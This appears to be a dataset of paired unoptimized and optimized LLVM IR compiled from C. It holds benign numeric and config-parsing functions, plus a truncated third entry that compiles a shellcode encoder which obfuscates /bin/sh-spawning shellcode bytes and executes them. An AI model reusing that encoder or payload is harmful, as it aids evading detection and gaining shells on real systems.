llvm-ir
stringlengths 479
303k
| llvm-optimized-ir
stringlengths 468
303k
|
---|---|
; ModuleID = '/tmp/tmpxl95bntg.c'
source_filename = "/tmp/tmpxl95bntg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @Beta_Separator(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4, ptr noundef %5, ptr noundef %6, ptr noundef %7, ptr noundef %8, ptr noundef %9, double noundef %10, double noundef %11) #0 {
%13 = alloca ptr, align 8
%14 = alloca ptr, align 8
%15 = alloca ptr, align 8
%16 = alloca ptr, align 8
%17 = alloca ptr, align 8
%18 = alloca ptr, align 8
%19 = alloca ptr, align 8
%20 = alloca ptr, align 8
%21 = alloca ptr, align 8
%22 = alloca ptr, align 8
%23 = alloca double, align 8
%24 = alloca double, align 8
%25 = alloca i32, align 4
%26 = alloca double, align 8
%27 = alloca double, align 8
%28 = alloca [7 x double], align 16
%29 = alloca [7 x double], align 16
%30 = alloca [7 x double], align 16
store ptr %0, ptr %13, align 8
store ptr %1, ptr %14, align 8
store ptr %2, ptr %15, align 8
store ptr %3, ptr %16, align 8
store ptr %4, ptr %17, align 8
store ptr %5, ptr %18, align 8
store ptr %6, ptr %19, align 8
store ptr %7, ptr %20, align 8
store ptr %8, ptr %21, align 8
store ptr %9, ptr %22, align 8
store double %10, ptr %23, align 8
store double %11, ptr %24, align 8
%31 = getelementptr inbounds [7 x double], ptr %30, i64 0, i64 0
%32 = load ptr, ptr %18, align 8
%33 = getelementptr inbounds double, ptr %32, i64 0
%34 = load double, ptr %33, align 8
%35 = load ptr, ptr %19, align 8
%36 = load ptr, ptr %21, align 8
%37 = load ptr, ptr %22, align 8
%38 = load double, ptr %23, align 8
%39 = load double, ptr %24, align 8
%40 = call i32 @gamma_wilson_7(ptr noundef %31, double noundef %34, ptr noundef %35, ptr noundef %36, ptr noundef %37, double noundef %38, double noundef %39)
store double 0.000000e+00, ptr %26, align 8
store double 0.000000e+00, ptr %27, align 8
store i32 0, ptr %25, align 4
br label %41
41: ; preds = %107, %12
%42 = load i32, ptr %25, align 4
%43 = icmp slt i32 %42, 7
br i1 %43, label %44, label %110
44: ; preds = %41
%45 = load ptr, ptr %16, align 8
%46 = load i32, ptr %25, align 4
%47 = sext i32 %46 to i64
%48 = getelementptr inbounds double, ptr %45, i64 %47
%49 = load double, ptr %48, align 8
%50 = load i32, ptr %25, align 4
%51 = sext i32 %50 to i64
%52 = getelementptr inbounds [7 x double], ptr %30, i64 0, i64 %51
%53 = load double, ptr %52, align 8
%54 = fmul double %49, %53
%55 = load ptr, ptr %17, align 8
%56 = getelementptr inbounds double, ptr %55, i64 0
%57 = load double, ptr %56, align 8
%58 = fdiv double %54, %57
%59 = load i32, ptr %25, align 4
%60 = sext i32 %59 to i64
%61 = getelementptr inbounds [7 x double], ptr %28, i64 0, i64 %60
store double %58, ptr %61, align 8
%62 = load ptr, ptr %20, align 8
%63 = load i32, ptr %25, align 4
%64 = sext i32 %63 to i64
%65 = getelementptr inbounds double, ptr %62, i64 %64
%66 = load double, ptr %65, align 8
%67 = load i32, ptr %25, align 4
%68 = sext i32 %67 to i64
%69 = getelementptr inbounds [7 x double], ptr %28, i64 0, i64 %68
%70 = load double, ptr %69, align 8
%71 = fsub double %70, 1.000000e+00
%72 = load ptr, ptr %15, align 8
%73 = getelementptr inbounds double, ptr %72, i64 0
%74 = load double, ptr %73, align 8
%75 = call double @llvm.fmuladd.f64(double %71, double %74, double 1.000000e+00)
%76 = fdiv double %66, %75
%77 = load ptr, ptr %14, align 8
%78 = load i32, ptr %25, align 4
%79 = sext i32 %78 to i64
%80 = getelementptr inbounds double, ptr %77, i64 %79
store double %76, ptr %80, align 8
%81 = load i32, ptr %25, align 4
%82 = sext i32 %81 to i64
%83 = getelementptr inbounds [7 x double], ptr %28, i64 0, i64 %82
%84 = load double, ptr %83, align 8
%85 = load ptr, ptr %14, align 8
%86 = load i32, ptr %25, align 4
%87 = sext i32 %86 to i64
%88 = getelementptr inbounds double, ptr %85, i64 %87
%89 = load double, ptr %88, align 8
%90 = fmul double %84, %89
%91 = load i32, ptr %25, align 4
%92 = sext i32 %91 to i64
%93 = getelementptr inbounds [7 x double], ptr %29, i64 0, i64 %92
store double %90, ptr %93, align 8
%94 = load ptr, ptr %19, align 8
%95 = load i32, ptr %25, align 4
%96 = sext i32 %95 to i64
%97 = getelementptr inbounds double, ptr %94, i64 %96
%98 = load double, ptr %97, align 8
%99 = load double, ptr %26, align 8
%100 = fadd double %99, %98
store double %100, ptr %26, align 8
%101 = load i32, ptr %25, align 4
%102 = sext i32 %101 to i64
%103 = getelementptr inbounds [7 x double], ptr %29, i64 0, i64 %102
%104 = load double, ptr %103, align 8
%105 = load double, ptr %27, align 8
%106 = fadd double %105, %104
store double %106, ptr %27, align 8
br label %107
107: ; preds = %44
%108 = load i32, ptr %25, align 4
%109 = add nsw i32 %108, 1
store i32 %109, ptr %25, align 4
br label %41, !llvm.loop !6
110: ; preds = %41
%111 = load double, ptr %26, align 8
%112 = load double, ptr %27, align 8
%113 = fsub double %111, %112
%114 = load ptr, ptr %13, align 8
%115 = getelementptr inbounds double, ptr %114, i64 0
store double %113, ptr %115, align 8
ret void
}
declare i32 @gamma_wilson_7(ptr noundef, double noundef, ptr noundef, ptr noundef, ptr noundef, double noundef, double noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpxl95bntg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @Beta_Separator(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4, ptr noundef %5, ptr noundef %6, ptr noundef %7, ptr noundef %8, ptr noundef %9, double noundef %10, double noundef %11) #0 {
%13 = alloca ptr, align 8
%14 = alloca ptr, align 8
%15 = alloca ptr, align 8
%16 = alloca ptr, align 8
%17 = alloca ptr, align 8
%18 = alloca ptr, align 8
%19 = alloca ptr, align 8
%20 = alloca ptr, align 8
%21 = alloca ptr, align 8
%22 = alloca ptr, align 8
%23 = alloca double, align 8
%24 = alloca double, align 8
%25 = alloca i32, align 4
%26 = alloca double, align 8
%27 = alloca double, align 8
%28 = alloca [7 x double], align 16
%29 = alloca [7 x double], align 16
%30 = alloca [7 x double], align 16
store ptr %0, ptr %13, align 8
store ptr %1, ptr %14, align 8
store ptr %2, ptr %15, align 8
store ptr %3, ptr %16, align 8
store ptr %4, ptr %17, align 8
store ptr %5, ptr %18, align 8
store ptr %6, ptr %19, align 8
store ptr %7, ptr %20, align 8
store ptr %8, ptr %21, align 8
store ptr %9, ptr %22, align 8
store double %10, ptr %23, align 8
store double %11, ptr %24, align 8
%31 = getelementptr inbounds [7 x double], ptr %30, i64 0, i64 0
%32 = load ptr, ptr %18, align 8
%33 = getelementptr inbounds double, ptr %32, i64 0
%34 = load double, ptr %33, align 8
%35 = load ptr, ptr %19, align 8
%36 = load ptr, ptr %21, align 8
%37 = load ptr, ptr %22, align 8
%38 = load double, ptr %23, align 8
%39 = load double, ptr %24, align 8
%40 = call i32 @gamma_wilson_7(ptr noundef %31, double noundef %34, ptr noundef %35, ptr noundef %36, ptr noundef %37, double noundef %38, double noundef %39)
store double 0.000000e+00, ptr %26, align 8
store double 0.000000e+00, ptr %27, align 8
store i32 0, ptr %25, align 4
%41 = load i32, ptr %25, align 4
%42 = icmp slt i32 %41, 7
br i1 %42, label %.lr.ph, label %111
.lr.ph: ; preds = %12
br label %43
43: ; preds = %.lr.ph, %106
%44 = load ptr, ptr %16, align 8
%45 = load i32, ptr %25, align 4
%46 = sext i32 %45 to i64
%47 = getelementptr inbounds double, ptr %44, i64 %46
%48 = load double, ptr %47, align 8
%49 = load i32, ptr %25, align 4
%50 = sext i32 %49 to i64
%51 = getelementptr inbounds [7 x double], ptr %30, i64 0, i64 %50
%52 = load double, ptr %51, align 8
%53 = fmul double %48, %52
%54 = load ptr, ptr %17, align 8
%55 = getelementptr inbounds double, ptr %54, i64 0
%56 = load double, ptr %55, align 8
%57 = fdiv double %53, %56
%58 = load i32, ptr %25, align 4
%59 = sext i32 %58 to i64
%60 = getelementptr inbounds [7 x double], ptr %28, i64 0, i64 %59
store double %57, ptr %60, align 8
%61 = load ptr, ptr %20, align 8
%62 = load i32, ptr %25, align 4
%63 = sext i32 %62 to i64
%64 = getelementptr inbounds double, ptr %61, i64 %63
%65 = load double, ptr %64, align 8
%66 = load i32, ptr %25, align 4
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds [7 x double], ptr %28, i64 0, i64 %67
%69 = load double, ptr %68, align 8
%70 = fsub double %69, 1.000000e+00
%71 = load ptr, ptr %15, align 8
%72 = getelementptr inbounds double, ptr %71, i64 0
%73 = load double, ptr %72, align 8
%74 = call double @llvm.fmuladd.f64(double %70, double %73, double 1.000000e+00)
%75 = fdiv double %65, %74
%76 = load ptr, ptr %14, align 8
%77 = load i32, ptr %25, align 4
%78 = sext i32 %77 to i64
%79 = getelementptr inbounds double, ptr %76, i64 %78
store double %75, ptr %79, align 8
%80 = load i32, ptr %25, align 4
%81 = sext i32 %80 to i64
%82 = getelementptr inbounds [7 x double], ptr %28, i64 0, i64 %81
%83 = load double, ptr %82, align 8
%84 = load ptr, ptr %14, align 8
%85 = load i32, ptr %25, align 4
%86 = sext i32 %85 to i64
%87 = getelementptr inbounds double, ptr %84, i64 %86
%88 = load double, ptr %87, align 8
%89 = fmul double %83, %88
%90 = load i32, ptr %25, align 4
%91 = sext i32 %90 to i64
%92 = getelementptr inbounds [7 x double], ptr %29, i64 0, i64 %91
store double %89, ptr %92, align 8
%93 = load ptr, ptr %19, align 8
%94 = load i32, ptr %25, align 4
%95 = sext i32 %94 to i64
%96 = getelementptr inbounds double, ptr %93, i64 %95
%97 = load double, ptr %96, align 8
%98 = load double, ptr %26, align 8
%99 = fadd double %98, %97
store double %99, ptr %26, align 8
%100 = load i32, ptr %25, align 4
%101 = sext i32 %100 to i64
%102 = getelementptr inbounds [7 x double], ptr %29, i64 0, i64 %101
%103 = load double, ptr %102, align 8
%104 = load double, ptr %27, align 8
%105 = fadd double %104, %103
store double %105, ptr %27, align 8
br label %106
106: ; preds = %43
%107 = load i32, ptr %25, align 4
%108 = add nsw i32 %107, 1
store i32 %108, ptr %25, align 4
%109 = load i32, ptr %25, align 4
%110 = icmp slt i32 %109, 7
br i1 %110, label %43, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %106
br label %111
111: ; preds = %._crit_edge, %12
%112 = load double, ptr %26, align 8
%113 = load double, ptr %27, align 8
%114 = fsub double %112, %113
%115 = load ptr, ptr %13, align 8
%116 = getelementptr inbounds double, ptr %115, i64 0
store double %114, ptr %116, align 8
ret void
}
declare i32 @gamma_wilson_7(ptr noundef, double noundef, ptr noundef, ptr noundef, ptr noundef, double noundef, double noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpkba25fpv.c'
source_filename = "/tmp/tmpkba25fpv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"False\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"true\00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"on\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"yes\00", align 1
@.str.4 = private unnamed_addr constant [6 x i8] c"false\00", align 1
@.str.5 = private unnamed_addr constant [4 x i8] c"off\00", align 1
@.str.6 = private unnamed_addr constant [3 x i8] c"no\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @readBoolKey(ptr noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
store ptr %0, ptr %5, align 8
store i32 %1, ptr %6, align 4
store ptr %2, ptr %7, align 8
%10 = load ptr, ptr %5, align 8
%11 = load ptr, ptr %7, align 8
%12 = call ptr @readStringKey(ptr noundef %10, ptr noundef @.str, ptr noundef %11)
store ptr %12, ptr %9, align 8
%13 = load ptr, ptr %9, align 8
%14 = icmp ne ptr %13, null
br i1 %14, label %16, label %15
15: ; preds = %3
store i32 0, ptr %4, align 4
br label %66
16: ; preds = %3
store i32 0, ptr %8, align 4
br label %17
17: ; preds = %35, %16
%18 = load ptr, ptr %9, align 8
%19 = load i32, ptr %8, align 4
%20 = sext i32 %19 to i64
%21 = getelementptr inbounds i8, ptr %18, i64 %20
%22 = load i8, ptr %21, align 1
%23 = icmp ne i8 %22, 0
br i1 %23, label %24, label %38
24: ; preds = %17
%25 = load ptr, ptr %9, align 8
%26 = load i32, ptr %8, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds i8, ptr %25, i64 %27
%29 = load i8, ptr %28, align 1
%30 = call signext i8 @tolower(i8 noundef signext %29)
%31 = load ptr, ptr %9, align 8
%32 = load i32, ptr %8, align 4
%33 = sext i32 %32 to i64
%34 = getelementptr inbounds i8, ptr %31, i64 %33
store i8 %30, ptr %34, align 1
br label %35
35: ; preds = %24
%36 = load i32, ptr %8, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %8, align 4
br label %17, !llvm.loop !6
38: ; preds = %17
%39 = load ptr, ptr %9, align 8
%40 = call i32 @strcmp(ptr noundef %39, ptr noundef @.str.1)
%41 = icmp ne i32 %40, 0
br i1 %41, label %42, label %50
42: ; preds = %38
%43 = load ptr, ptr %9, align 8
%44 = call i32 @strcmp(ptr noundef %43, ptr noundef @.str.2)
%45 = icmp ne i32 %44, 0
br i1 %45, label %46, label %50
46: ; preds = %42
%47 = load ptr, ptr %9, align 8
%48 = call i32 @strcmp(ptr noundef %47, ptr noundef @.str.3)
%49 = icmp ne i32 %48, 0
br i1 %49, label %51, label %50
50: ; preds = %46, %42, %38
store i32 1, ptr %4, align 4
br label %66
51: ; preds = %46
%52 = load ptr, ptr %9, align 8
%53 = call i32 @strcmp(ptr noundef %52, ptr noundef @.str.4)
%54 = icmp ne i32 %53, 0
br i1 %54, label %55, label %63
55: ; preds = %51
%56 = load ptr, ptr %9, align 8
%57 = call i32 @strcmp(ptr noundef %56, ptr noundef @.str.5)
%58 = icmp ne i32 %57, 0
br i1 %58, label %59, label %63
59: ; preds = %55
%60 = load ptr, ptr %9, align 8
%61 = call i32 @strcmp(ptr noundef %60, ptr noundef @.str.6)
%62 = icmp ne i32 %61, 0
br i1 %62, label %64, label %63
63: ; preds = %59, %55, %51
store i32 0, ptr %4, align 4
br label %66
64: ; preds = %59
%65 = load i32, ptr %6, align 4
store i32 %65, ptr %4, align 4
br label %66
66: ; preds = %64, %63, %50, %15
%67 = load i32, ptr %4, align 4
ret i32 %67
}
declare ptr @readStringKey(ptr noundef, ptr noundef, ptr noundef) #1
declare signext i8 @tolower(i8 noundef signext) #1
declare i32 @strcmp(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpkba25fpv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"False\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"true\00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"on\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"yes\00", align 1
@.str.4 = private unnamed_addr constant [6 x i8] c"false\00", align 1
@.str.5 = private unnamed_addr constant [4 x i8] c"off\00", align 1
@.str.6 = private unnamed_addr constant [3 x i8] c"no\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @readBoolKey(ptr noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
store ptr %0, ptr %5, align 8
store i32 %1, ptr %6, align 4
store ptr %2, ptr %7, align 8
%10 = load ptr, ptr %5, align 8
%11 = load ptr, ptr %7, align 8
%12 = call ptr @readStringKey(ptr noundef %10, ptr noundef @.str, ptr noundef %11)
store ptr %12, ptr %9, align 8
%13 = load ptr, ptr %9, align 8
%14 = icmp ne ptr %13, null
br i1 %14, label %16, label %15
15: ; preds = %3
store i32 0, ptr %4, align 4
br label %71
16: ; preds = %3
store i32 0, ptr %8, align 4
%17 = load ptr, ptr %9, align 8
%18 = load i32, ptr %8, align 4
%19 = sext i32 %18 to i64
%20 = getelementptr inbounds i8, ptr %17, i64 %19
%21 = load i8, ptr %20, align 1
%22 = icmp ne i8 %21, 0
br i1 %22, label %.lr.ph, label %43
.lr.ph: ; preds = %16
br label %23
23: ; preds = %.lr.ph, %34
%24 = load ptr, ptr %9, align 8
%25 = load i32, ptr %8, align 4
%26 = sext i32 %25 to i64
%27 = getelementptr inbounds i8, ptr %24, i64 %26
%28 = load i8, ptr %27, align 1
%29 = call signext i8 @tolower(i8 noundef signext %28)
%30 = load ptr, ptr %9, align 8
%31 = load i32, ptr %8, align 4
%32 = sext i32 %31 to i64
%33 = getelementptr inbounds i8, ptr %30, i64 %32
store i8 %29, ptr %33, align 1
br label %34
34: ; preds = %23
%35 = load i32, ptr %8, align 4
%36 = add nsw i32 %35, 1
store i32 %36, ptr %8, align 4
%37 = load ptr, ptr %9, align 8
%38 = load i32, ptr %8, align 4
%39 = sext i32 %38 to i64
%40 = getelementptr inbounds i8, ptr %37, i64 %39
%41 = load i8, ptr %40, align 1
%42 = icmp ne i8 %41, 0
br i1 %42, label %23, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %34
br label %43
43: ; preds = %._crit_edge, %16
%44 = load ptr, ptr %9, align 8
%45 = call i32 @strcmp(ptr noundef %44, ptr noundef @.str.1)
%46 = icmp ne i32 %45, 0
br i1 %46, label %47, label %55
47: ; preds = %43
%48 = load ptr, ptr %9, align 8
%49 = call i32 @strcmp(ptr noundef %48, ptr noundef @.str.2)
%50 = icmp ne i32 %49, 0
br i1 %50, label %51, label %55
51: ; preds = %47
%52 = load ptr, ptr %9, align 8
%53 = call i32 @strcmp(ptr noundef %52, ptr noundef @.str.3)
%54 = icmp ne i32 %53, 0
br i1 %54, label %56, label %55
55: ; preds = %51, %47, %43
store i32 1, ptr %4, align 4
br label %71
56: ; preds = %51
%57 = load ptr, ptr %9, align 8
%58 = call i32 @strcmp(ptr noundef %57, ptr noundef @.str.4)
%59 = icmp ne i32 %58, 0
br i1 %59, label %60, label %68
60: ; preds = %56
%61 = load ptr, ptr %9, align 8
%62 = call i32 @strcmp(ptr noundef %61, ptr noundef @.str.5)
%63 = icmp ne i32 %62, 0
br i1 %63, label %64, label %68
64: ; preds = %60
%65 = load ptr, ptr %9, align 8
%66 = call i32 @strcmp(ptr noundef %65, ptr noundef @.str.6)
%67 = icmp ne i32 %66, 0
br i1 %67, label %69, label %68
68: ; preds = %64, %60, %56
store i32 0, ptr %4, align 4
br label %71
69: ; preds = %64
%70 = load i32, ptr %6, align 4
store i32 %70, ptr %4, align 4
br label %71
71: ; preds = %69, %68, %55, %15
%72 = load i32, ptr %4, align 4
ret i32 %72
}
declare ptr @readStringKey(ptr noundef, ptr noundef, ptr noundef) #1
declare signext i8 @tolower(i8 noundef signext) #1
declare i32 @strcmp(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpla2pusa2.c'
source_filename = "/tmp/tmpla2pusa2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.decoder = private unnamed_addr constant [25 x i8] c"\EB\11^1\C9\B1\00\80l\0E\FF\00\80\E9\01u\F6\EB\05\E8\EA\FF\FF\FF\00", align 16
@__const.main.shellcode = private unnamed_addr constant [30 x i8] c"\EB\0E^1\C0\88F\07PPV\B0;P\CD\80\E8\ED\FF\FF\FF/bin/sh#\00", align 16
@.str = private unnamed_addr constant [22 x i8] c"\0A\0Achar shellcode[] =\0A\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"\22\0A\00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"\09\22\00", align 1
@.str.3 = private unnamed_addr constant [7 x i8] c"\\x%02x\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [25 x i8], align 16
%3 = alloca [30 x i8], align 16
%4 = alloca i8, align 1
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %1, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %2, ptr align 16 @__const.main.decoder, i64 25, i1 false)
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %3, ptr align 16 @__const.main.shellcode, i64 30, i1 false)
store i32 53, ptr %6, align 4
store i32 15, ptr %8, align 4
store i32 0, ptr %7, align 4
br label %9
9: ; preds = %23, %0
%10 = load i32, ptr %7, align 4
%11 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 0
%12 = call i32 @strlen(ptr noundef %11)
%13 = icmp slt i32 %10, %12
br i1 %13, label %14, label %26
14: ; preds = %9
%15 = load i32, ptr %6, align 4
%16 = load i32, ptr %7, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 %17
%19 = load i8, ptr %18, align 1
%20 = sext i8 %19 to i32
%21 = add nsw i32 %20, %15
%22 = trunc i32 %21 to i8
store i8 %22, ptr %18, align 1
br label %23
23: ; preds = %14
%24 = load i32, ptr %7, align 4
%25 = add nsw i32 %24, 1
store i32 %25, ptr %7, align 4
br label %9, !llvm.loop !6
26: ; preds = %9
%27 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 0
%28 = call i32 @strlen(ptr noundef %27)
%29 = getelementptr inbounds [25 x i8], ptr %2, i64 0, i64 6
%30 = load i8, ptr %29, align 2
%31 = sext i8 %30 to i32
%32 = add nsw i32 %31, %28
%33 = trunc i32 %32 to i8
store i8 %33, ptr %29, align 2
%34 = load i32, ptr %6, align 4
%35 = getelementptr inbounds [25 x i8], ptr %2, i64 0, i64 11
%36 = load i8, ptr %35, align 1
%37 = sext i8 %36 to i32
%38 = add nsw i32 %37, %34
%39 = trunc i32 %38 to i8
store i8 %39, ptr %35, align 1
%40 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 0
%41 = call i32 @strlen(ptr noundef %40)
%42 = getelementptr inbounds [25 x i8], ptr %2, i64 0, i64 0
%43 = call i32 @strlen(ptr noundef %42)
%44 = add nsw i32 %41, %43
%45 = call i64 @malloc(i32 noundef %44)
%46 = inttoptr i64 %45 to ptr
store ptr %46, ptr %5, align 8
%47 = load ptr, ptr %5, align 8
%48 = getelementptr inbounds [25 x i8], ptr %2, i64 0, i64 0
%49 = call i32 @strcat(ptr noundef %47, ptr noundef %48)
%50 = load ptr, ptr %5, align 8
%51 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 0
%52 = call i32 @strcat(ptr noundef %50, ptr noundef %51)
%53 = call i32 (ptr, ...) @printf(ptr noundef @.str)
store i32 0, ptr %7, align 4
br label %54
54: ; preds = %79, %26
%55 = load i32, ptr %7, align 4
%56 = load ptr, ptr %5, align 8
%57 = call i32 @strlen(ptr noundef %56)
%58 = icmp slt i32 %55, %57
br i1 %58, label %59, label %82
59: ; preds = %54
%60 = load i32, ptr %8, align 4
%61 = icmp sge i32 %60, 15
br i1 %61, label %62, label %69
62: ; preds = %59
%63 = load i32, ptr %7, align 4
%64 = icmp ne i32 %63, 0
br i1 %64, label %65, label %67
65: ; preds = %62
%66 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
br label %67
67: ; preds = %65, %62
%68 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
store i32 0, ptr %8, align 4
br label %69
69: ; preds = %67, %59
%70 = load i32, ptr %8, align 4
%71 = add nsw i32 %70, 1
store i32 %71, ptr %8, align 4
%72 = load ptr, ptr %5, align 8
%73 = load i32, ptr %7, align 4
%74 = sext i32 %73 to i64
%75 = getelementptr inbounds i8, ptr %72, i64 %74
%76 = load i8, ptr %75, align 1
%77 = zext i8 %76 to i32
%78 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %77)
br label %79
79: ; preds = %69
%80 = load i32, ptr %7, align 4
%81 = add nsw i32 %80, 1
store i32 %81, ptr %7, align 4
br label %54, !llvm.loop !8
82: ; preds = %54
%83 = load ptr, ptr %5, align 8
%84 = call i32 @execute(ptr noundef %83)
%85 = load ptr, ptr %5, align 8
%86 = call i32 @free(ptr noundef %85)
%87 = load i32, ptr %1, align 4
ret i32 %87
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @strlen(ptr noundef) #2
declare i64 @malloc(i32 noundef) #2
